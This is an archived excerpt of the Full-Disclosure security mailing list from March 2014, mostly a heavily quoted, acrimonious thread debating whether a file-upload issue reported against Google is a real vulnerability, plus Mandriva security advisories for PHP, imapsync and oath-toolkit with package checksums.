mbs1/x86_64/php-filter-5.5.10-1.1.mbs1.x86_64.rpm
 c25709c616879f64ca095493a250e49a  
mbs1/x86_64/php-fpm-5.5.10-1.1.mbs1.x86_64.rpm
 dd3b14133c3e5e299976709acaba36f1  
mbs1/x86_64/php-ftp-5.5.10-1.1.mbs1.x86_64.rpm
 33285cc7d2f89640c84a89c2d78d4c1c  mbs1/x86_64/php-gd-5.5.10-1.1.mbs1.x86_64.rpm
 98815ed19f6a439995c257c86d3fd8e7  
mbs1/x86_64/php-gettext-5.5.10-1.1.mbs1.x86_64.rpm
 2c34c8d28d2bcf105deced29a743ce10  
mbs1/x86_64/php-gmp-5.5.10-1.1.mbs1.x86_64.rpm
 66f17761f797c9ba5b9f64359df0e444  
mbs1/x86_64/php-hash-5.5.10-1.1.mbs1.x86_64.rpm
 a9679cf58298c91fe11e9065888f3ecf  
mbs1/x86_64/php-iconv-5.5.10-1.1.mbs1.x86_64.rpm
 44c8fd8cbd7a749ce405eafcb5cfaba0  
mbs1/x86_64/php-imap-5.5.10-1.1.mbs1.x86_64.rpm
 de60f25c3e3da02a1ed96ea3c6b7d146  
mbs1/x86_64/php-ini-5.5.10-1.1.mbs1.x86_64.rpm
 674171b2daf508b7709ec0fa39f3dadb  
mbs1/x86_64/php-intl-5.5.10-1.1.mbs1.x86_64.rpm
 b4b75e252c03be45e1ea42d93cbb559d  
mbs1/x86_64/php-json-5.5.10-1.1.mbs1.x86_64.rpm
 10071e1f44d3ec6500559211168c3b4a  
mbs1/x86_64/php-ldap-5.5.10-1.1.mbs1.x86_64.rpm
 4b7e7d0a0b6adcca257a2fd124e62c58  
mbs1/x86_64/php-mbstring-5.5.10-1.1.mbs1.x86_64.rpm
 19345fe51062884bd7c9ff80f49dcbdb  
mbs1/x86_64/php-mcrypt-5.5.10-1.1.mbs1.x86_64.rpm
 e2a844b656f9ab03b731ad2f272b5d2b  
mbs1/x86_64/php-mssql-5.5.10-1.1.mbs1.x86_64.rpm
 4fcf706c941176818fdfc995fba8209c  
mbs1/x86_64/php-mysql-5.5.10-1.1.mbs1.x86_64.rpm
 46c3635f1e79e351b2d63d7be993557b  
mbs1/x86_64/php-mysqli-5.5.10-1.1.mbs1.x86_64.rpm
 6b652b39093992140614a97e4633ee52  
mbs1/x86_64/php-mysqlnd-5.5.10-1.1.mbs1.x86_64.rpm
 d8712b4ec5533dd53c3e1a6854a41612  
mbs1/x86_64/php-odbc-5.5.10-1.1.mbs1.x86_64.rpm
 58da4457f76d98468fbc2216a82a6210

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Sergio 'shadown' Alvarez

Dear Nicholas Lemonias,

I don't use to get in these scrapy discussions, but yeah you are in a 
completetly different level if you compare yourself with Mario.
You are definitely a Web app/metasploit-user guy and pick up a discussion with 
a binary and memory corruption ninja exploit writter like Mario. You should 
know your place and shut up. Period.

Btw, if you dare discussing with a beast like lcamtuf, you are definitely out 
of your mind.

Cheers,
  Sergio.
-- Sergio

On Mar 14, 2014, Nicholas Lemonias. lem.niko...@googlemail.com wrote:
We are on a different level perhaps. We do certainly disagree on those
points.
I wouldn't hire you as a consultant, if you can't tell if that is a
valid
vulnerability..


Best Regards,
Nicholas Lemonias.

On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote:

 But do you have all the required EH certifications? Try this one from
the
 Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to
the
 research community after all. If you are still on EFNet give me a
shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest
corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any
file of
 choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security
team feels
 that this would be necessary. This is unpaid work, so we are not so
keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias
athiasjer...@gmail.comwrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding
is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and
not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is
not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book),
security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a
proper
 SDLC (Build security in) as per Defense-in-Depth security
principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation
of
 Duties security principle was applied correctly by Google in term
of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always
say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
  Nicholas,
 
  I remember my early years in the infosec community - and sadly,
so do
  some of the more seasoned readers of this list :-) Back then, I
  thought that the only thing that mattered is the ability to find
bugs.
  But after some 18 years in the industry, I now know that there's
an
  even more important and elusive skill.
 
  That skill boils down to having a robust mental model of what
  constitutes a security flaw - and being able to explain your
thinking
  to others in a precise and internally consistent manner that
convinces
  others to act. We need this because the security of a system
can't be
  usefully described using abstract terms: even the academic
definitions
  ultimately boil down to saying the system is secure if it
doesn't do
  the things we *really* don't want it to do.
 
  In this spirit, the term vulnerability is generally reserved
for
  behaviors that meet all of the following criteria:
 
  1) The behavior must have negative consequences for at least one
of
  the legitimate stakeholders (users, service owners, etc),
 
  2) The consequences must be widely seen as unexpected and
 unacceptable,
 
  3) There must be a realistic

[Full-disclosure] Fwd: Google vulnerabilities with PoC

Go to sleep.
-- Forwarded message --
From: Nicholas Lemonias. lem.niko...@googlemail.com
Date: Fri, Mar 14, 2014 at 2:16 PM
Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
To: Sergio 'shadown' Alvarez shad...@gmail.com

Go to sleep

On Fri, Mar 14, 2014 at 1:50 PM, Sergio 'shadown' Alvarez shad...@gmail.com
 wrote:

 Dear Nicholas Lemonias,

 I don't use to get in these scrapy discussions, but yeah you are in a
 completetly different level if you compare yourself with Mario.
 You are definitely a Web app/metasploit-user guy and pick up a discussion
 with a binary and memory corruption ninja exploit writter like Mario. You
 should know your place and shut up. Period.

 Btw, if you dare discussing with a beast like lcamtuf, you are definitely
 out of your mind.

 Cheers,
   Sergio.
 -- Sergio

 On Mar 14, 2014, Nicholas Lemonias. lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on those
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a valid
 vulnerability..

 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote:

 But do you have all the required EH certifications? Try this one from
 the Institute for
 Certified Application Security Specialists: http://www.asscert.com/

 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to the
 research community after all. If you are still on EFNet give me a shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec

 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any file
 of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team feels
 that this would be necessary. This is unpaid work, so we are not so keen 
 on
 that job.

 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.com
  wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
  Nicholas,

  I remember my early years in the infosec community - and sadly, so
 do
  some of the more seasoned readers of this list :-) Back then, I
  thought that the only thing that mattered is the ability to find
 bugs.
  But after some 18 years in the industry, I now know that there's an
  even more important and elusive skill.

  That skill boils down to having a robust mental model of what
  constitutes a security flaw - and being able to explain your
 thinking
  to others in a precise and internally consistent manner that
 convinces
  others to act. We need this because the security of a system can't
 be
  usefully described using abstract terms: even the academic
 definitions
  ultimately boil down to saying the system is secure if it doesn't
 do
  the things we *really* don't

[Full-disclosure] [ MDVSA-2014:060 ] imapsync

2014-03-14 Thread security

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___

 Mandriva Linux Security Advisory MDVSA-2014:060
 http://www.mandriva.com/en/support/security/
 ___

 Package : imapsync
 Date: March 14, 2014
 Affected: Business Server 1.0
 ___

 Problem Description:

 Updated imapsync package fixes security vulnerabilities:
 
 Imapsync, by default, runs a release check when executed, which
 causes imapsync to connect to http://imapsync.lamiral.info and send
 information about the version of imapsync, the operating system and
 perl (CVE-2013-4279).
 
 The imapsync package has been patched to disable this feature.
 
 In imapsync before 1.584, a certificate verification failure when
 using the --tls option results in imapsync attempting a cleartext login
 (CVE-2014-2014).
 ___

 References:

 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4279
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2014
 http://advisories.mageia.org/MGASA-2014-0127.html
 http://advisories.mageia.org/MGASA-2014-0106.html
 ___

 Updated Packages:

 Mandriva Business Server 1/X86_64:
 cb3b49e4916f35b94c1ff67196525cf4  mbs1/x86_64/imapsync-1.584-1.mbs1.noarch.rpm 
 03c16ad4a39d6dac597053f0a366f04e  mbs1/SRPMS/imapsync-1.584-1.mbs1.src.rpm
 ___

 To upgrade automatically use MandrivaUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandriva for security.  You can obtain the
 GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/en/support/security/advisories/

 If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
 ___

 Type Bits/KeyID Date   User ID
 pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  security*mandriva.com
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)

iD8DBQFTIubQmqjQ0CJFipgRAmENAJ9nSYZVEO3+rIbDc+Y/t9FBtT9OAwCfU+Fu
5cvaihGQPzjWjggIhS6UYZw=
=piS6
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-14 Thread Sergio 'shadown' Alvarez

I will, it's late here, but I'm enjoying the show way too much. xD

Instead of discussing why don't you show a client side attack with that thing 
that you call a vulnerability and make every one shut up?, oh wait...because 
you can't! ;-)

A fail has thousand excuses, but success doesn't require any explaination.

In this context a working client side exploit or a Server Shell proof is a 
success, any other thing is crap.

Talking, complaining and showing certification don't work against a computer, a 
working exploit that gives you a shell does.

Cheers,
-- Sergio

On Mar 14, 2014, Nicholas Lemonias. lem.niko...@googlemail.com wrote:
Go to sleep.
-- Forwarded message --
From: Nicholas Lemonias. lem.niko...@googlemail.com
Date: Fri, Mar 14, 2014 at 2:16 PM
Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
To: Sergio 'shadown' Alvarez shad...@gmail.com


Go to sleep


On Fri, Mar 14, 2014 at 1:50 PM, Sergio 'shadown' Alvarez
shad...@gmail.com
 wrote:

 Dear Nicholas Lemonias,

 I don't use to get in these scrapy discussions, but yeah you are in a
 completetly different level if you compare yourself with Mario.
 You are definitely a Web app/metasploit-user guy and pick up a
discussion
 with a binary and memory corruption ninja exploit writter like Mario.
You
 should know your place and shut up. Period.

 Btw, if you dare discussing with a beast like lcamtuf, you are
definitely
 out of your mind.

 Cheers,
   Sergio.
 -- Sergio


 On Mar 14, 2014, Nicholas Lemonias. lem.niko...@googlemail.com
wrote:

 We are on a different level perhaps. We do certainly disagree on
those
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a
valid
 vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com
wrote:

 But do you have all the required EH certifications? Try this one
from
 the Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to
the
 research community after all. If you are still on EFNet give me a
shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest
corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of
duties.

 However successful exploitation permits arbitrary write() of any
file
 of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security
team feels
 that this would be necessary. This is unpaid work, so we are not
so keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias
athiasjer...@gmail.com
  wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding
is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability
+
 Exploitability (PoC) = Confirmed Vulnerability that needs
Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness
(and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is
not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book),
security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a
proper
 SDLC (Build security in) as per Defense-in-Depth security
principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the
Separation of
 Duties security principle was applied correctly by Google in
term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always
say
 vulnerability like the media say hacker, see RFC1392) Use a CWE
ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
  Nicholas,
 
  I remember my early years in the infosec community - and
sadly, so
 do
  some of the more seasoned readers of this list :-) Back then,
I

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

Enough with this thread.


On Fri, Mar 14, 2014 at 2:37 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 I am too buy researching satellite security. Been doing that since the
 times of TESO, probably before you were born.

 Have a good night's sleep.


 On Fri, Mar 14, 2014 at 2:33 PM, Sergio 'shadown' Alvarez 
 shad...@gmail.com wrote:

 I will, it's late here, but I'm enjoying the show way too much. xD

 Instead of discussing why don't you show a client side attack with that
 thing that you call a vulnerability and make every one shut up?, oh
 wait...because you can't! ;-)

 A fail has thousand excuses, but success doesn't require any
 explaination.

 In this context a working client side exploit or a Server Shell proof is
 a success, any other thing is crap.

 Talking, complaining and showing certification don't work against a
 computer, a working exploit that gives you a shell does.

 Cheers,

 -- Sergio

 On Mar 14, 2014, Nicholas Lemonias. lem.niko...@googlemail.com wrote:


 Go to sleep.
 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Fri, Mar 14, 2014 at 2:16 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Sergio 'shadown' Alvarez shad...@gmail.com


 Go to sleep


 On Fri, Mar 14, 2014 at 1:50 PM, Sergio 'shadown' Alvarez 
 shad...@gmail.com wrote:

 Dear Nicholas Lemonias,

 I don't use to get in these scrapy discussions, but yeah you are in a
 completetly different level if you compare yourself with Mario.
 You are definitely a Web app/metasploit-user guy and pick up a
 discussion with a binary and memory corruption ninja exploit writter like
 Mario. You should know your place and shut up. Period.

 Btw, if you dare discussing with a beast like lcamtuf, you are
 definitely out of your mind.

 Cheers,
   Sergio.
 -- Sergio


 On Mar 14, 2014, Nicholas Lemonias. lem.niko...@googlemail.com
 wrote:

 We are on a different level perhaps. We do certainly disagree on those
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a
 valid vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.comwrote:

 But do you have all the required EH certifications? Try this one from
 the Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to
 the research community after all. If you are still on EFNet give me a 
 shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any
 file of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team 
 feels
 that this would be necessary. This is unpaid work, so we are not so 
 keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
 athiasjer...@gmail.com wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding
 is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and
 not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book),
 security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a
 proper
 SDLC (Build security in) as per Defense-in-Depth security
 principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation
 of
 Duties security principle was applied correctly by Google in term
 of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a

Re: [Full-disclosure] Google vulnerabilities with PoC

On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on revisiting  separation of
 duties in this security instance.

 Happy to see more professionals with some skills.  Some others have also
 mentioned the feasibility for Denial of Service attacks. Remote code
 execution by Social Engineering is also a prominent scenario.


Actually, people have been pointing out exactly the opposite. But if you
insist on believing you can DoS an EC2 by uploading files, good luck to you
then...



 If you can't tell that that is a vulnerability (probably coming from a
 bunch of CEH's), I feel sorry for those consultants.


You're the only one throwing around certifications here. I can no longer
tell if you're being serious or this is a massive prank.



 Nicholas.


 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on those
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a valid
 vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote:

 But do you have all the required EH certifications? Try this one from
 the Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to the
 research community after all. If you are still on EFNet give me a shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any file
 of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team feels
 that this would be necessary. This is unpaid work, so we are not so keen 
 on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.com
  wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
  Nicholas,
 
  I remember my early years in the infosec community - and sadly, so
 do
  some of the more seasoned readers of this list :-) Back then, I
  thought that the only thing that mattered is the ability to find
 bugs.
  But after some 18 years in the industry, I now know that there's an
  even more important and elusive skill.
 
  That skill boils down to having a robust mental model of what
  constitutes a security flaw - and being able to explain your
 thinking
  to others in a precise and internally consistent manner that
 convinces
  others to act. We need this because the security of a system can't
 be
  usefully described using abstract terms: even the academic
 definitions
  ultimately boil down to saying the system is secure if it doesn't
 do
  the

Re: [Full-disclosure] Google vulnerabilities with PoC

LOL, thanks for the undeserved praise! xD


On Fri, Mar 14, 2014 at 2:50 PM, Sergio 'shadown' Alvarez shad...@gmail.com
 wrote:

 Dear Nicholas Lemonias,

 I don't use to get in these scrapy discussions, but yeah you are in a
 completetly different level if you compare yourself with Mario.
 You are definitely a Web app/metasploit-user guy and pick up a discussion
 with a binary and memory corruption ninja exploit writter like Mario. You
 should know your place and shut up. Period.

 Btw, if you dare discussing with a beast like lcamtuf, you are definitely
 out of your mind.

 Cheers,
   Sergio.
 -- Sergio


 On Mar 14, 2014, Nicholas Lemonias. lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on those
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a valid
 vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote:

 But do you have all the required EH certifications? Try this one from
 the Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to the
 research community after all. If you are still on EFNet give me a shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any file
 of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team feels
 that this would be necessary. This is unpaid work, so we are not so keen 
 on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.com
  wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
  Nicholas,
 
  I remember my early years in the infosec community - and sadly, so
 do
  some of the more seasoned readers of this list :-) Back then, I
  thought that the only thing that mattered is the ability to find
 bugs.
  But after some 18 years in the industry, I now know that there's an
  even more important and elusive skill.
 
  That skill boils down to having a robust mental model of what
  constitutes a security flaw - and being able to explain your
 thinking
  to others in a precise and internally consistent manner that
 convinces
  others to act. We need this because the security of a system can't
 be
  usefully described using abstract terms: even the academic
 definitions
  ultimately boil down to saying the system is secure if it doesn't
 do
  the things we *really* don't want it to do.
 
  In this spirit, the term vulnerability is generally reserved for
  behaviors that meet all of the following criteria:
 
  1) The behavior must have negative consequences for at least one of
  the legitimate

[Full-disclosure] [ MDVSA-2014:061 ] oath-toolkit

2014-03-14 Thread security

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___

 Mandriva Linux Security Advisory MDVSA-2014:061
 http://www.mandriva.com/en/support/security/
 ___

 Package : oath-toolkit
 Date: March 14, 2014
 Affected: Business Server 1.0
 ___

 Problem Description:

 Updated oath-toolkit packages fix security vulnerability:
 
